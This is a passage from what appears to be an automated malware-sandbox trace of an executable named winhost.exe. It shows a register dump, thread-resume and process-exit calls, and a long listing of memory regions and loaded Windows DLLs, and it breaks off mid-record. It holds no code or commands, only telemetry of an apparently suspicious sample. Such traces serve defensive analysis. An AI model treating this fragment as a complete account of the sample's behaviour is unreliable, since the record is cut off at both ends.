[12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x40a9d0, Ebp=0x0, Eip=0x77a501c4, SegCs=0x23, EFlags=0x202, Esp=0x18fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0201.845] NtResumeThread (in: ThreadHandle=0x134, SuspendCount=0x0 | out: SuspendCount=0x0) returned 0x0 [0201.845] ExitProcess (uExitCode=0x0) Thread: id = 2 os_tid = 0x978 Process: id = "2" image_name = "winhost.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe" page_root = "0x268cd000" os_pid = "0x67c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x960" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e814" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 448 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 449 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 450 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 451 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 452 start_va = 0x90000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 453 start_va = 0x190000 end_va = 0x193fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 454 start_va = 0x400000 end_va = 0x8fbfff entry_point = 0x400000 region_type = mapped_file name = "winhost.exe" filename = "\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe") Region: id = 455 start_va = 0x77860000 end_va = 0x77a08fff entry_point = 0x77860000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 456 start_va = 0x77a40000 end_va = 0x77bbffff entry_point = 0x77a40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 457 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 458 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 459 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 460 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 461 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 462 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 463 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 465 start_va = 0x400000 end_va = 0x418fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 466 start_va = 0x1a0000 end_va = 0x1a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 468 start_va = 0x350000 end_va = 0x3cffff entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 469 start_va = 0x753d0000 end_va = 0x753d7fff entry_point = 0x753d0000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 470 start_va = 0x753e0000 end_va = 0x7543bfff entry_point = 0x753e0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 471 start_va = 0x75440000 end_va = 0x7547efff entry_point = 0x75440000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 472 start_va = 0x77640000 end_va = 0x77739fff entry_point = 0x0 region_type = private name = "private_0x0000000077640000" filename = "" Region: id = 473 start_va = 0x77740000 end_va = 0x7785efff entry_point = 0x0 region_type = private name = "private_0x0000000077740000" filename = "" Region: id = 474 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 475 start_va = 0x1b0000 end_va = 0x216fff entry_point = 0x1b0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 476 start_va = 0x5c0000 end_va = 0x6bffff entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 477 start_va = 0x773b0000 end_va = 0x774bffff entry_point = 0x773b0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 478 start_va = 0x775f0000 end_va = 0x77635fff entry_point = 0x775f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 479 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 480 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 481 start_va = 0x76f90000 end_va = 0x7702ffff entry_point = 0x76f90000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 482 start_va = 0x75660000 end_va = 0x7570bfff entry_point = 0x75660000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 483 start_va = 0x75a60000 end_va = 0x75a78fff entry_point = 0x75a60000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 484 start_va = 0x75b10000 end_va = 0x75bfffff entry_point = 0x75b10000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 485 start_va = 0x755a0000 end_va = 0x755fffff entry_point = 0x755a0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 486 start_va = 0x75590000 end_va = 0x7559bfff entry_point = 0x75590000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 487 start_va = 0x420000 end_va = 0x55ffff entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 488 start_va = 0x771d0000 end_va = 0x772cffff entry_point = 0x771d0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 489 start_va = 0x75a80000 end_va = 0x75b0ffff entry_point = 0x75a80000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 490 start_va = 0x75710000 end_va = 0x75719fff entry_point = 0x75710000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 491 start_va = 0x77550000 end_va = 0x775ecfff entry_point = 0x77550000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 492 start_va = 0x20000 end_va = 0x3dfff entry_point = 0x20000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 493 start_va = 0x6c0000 end_va = 0x847fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006c0000" filename = "" Region: id = 494 start_va = 0x20000 end_va = 0x3dfff entry_point = 0x20000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 495 start_va = 0x76c00000 end_va = 0x76c5ffff entry_point = 0x76c00000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 496 start_va = 0x76b30000 end_va = 0x76bfbfff entry_point = 0x76b30000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 497 start_va = 0x850000 end_va = 0x9d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 498 start_va = 0x9e0000 end_va = 0x1ddffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009e0000" filename = "" Region: id = 499 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 500 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 501 start_va = 0x75cc0000 end_va = 0x76909fff entry_point = 0x75cc0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 502 start_va = 0x77350000 end_va = 0x773a6fff entry_point = 0x77350000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 503 start_va = 0x74a50000 end_va = 0x74a61fff entry_point = 0x74a50000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 504 start_va = 0x77300000 end_va = 0x77334fff entry_point = 0x77300000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 505 start_va = 0x77030000 end_va = 0x77035fff entry_point = 0x77030000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 506 start_va = 0x1de0000 end_va = 0x200ffff entry_point = 0x0 region_type = private name = "private_0x0000000001de0000" filename = "" Region: id = 507 start_va = 0x2010000 end_va = 0x22defff entry_point = 0x2010000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 508 start_va = 0x220000 end_va = 0x25ffff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 509 start_va = 0x260000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 510 start_va = 0x420000 end_va = 0x51ffff entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 511 start_va = 0x550000 end_va = 0x55ffff entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 512 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 513 start_va = 0x270000 end_va = 0x276fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 514 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 515 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 516 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 517 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 518 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 519 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 520 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 521 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 522 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 523 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 524 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 525 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 526 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 527 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 528 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 529 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 530 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 531 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 532 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 533 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 534 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 535 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 536 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 537 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 538 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 539 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 540 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 541 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 542 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 543 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 544 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 545 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 546 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 547 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 548 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 549 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 550 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 551 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 552 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 553 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 554 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 555 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 556 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 557 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 558 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 559 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 560 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 561 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 562 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 563 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 564 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 565 start_va = 0x260000 end_va = 0x266fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000260000" filename = "" Region: id = 566 start_va = 0x1de0000 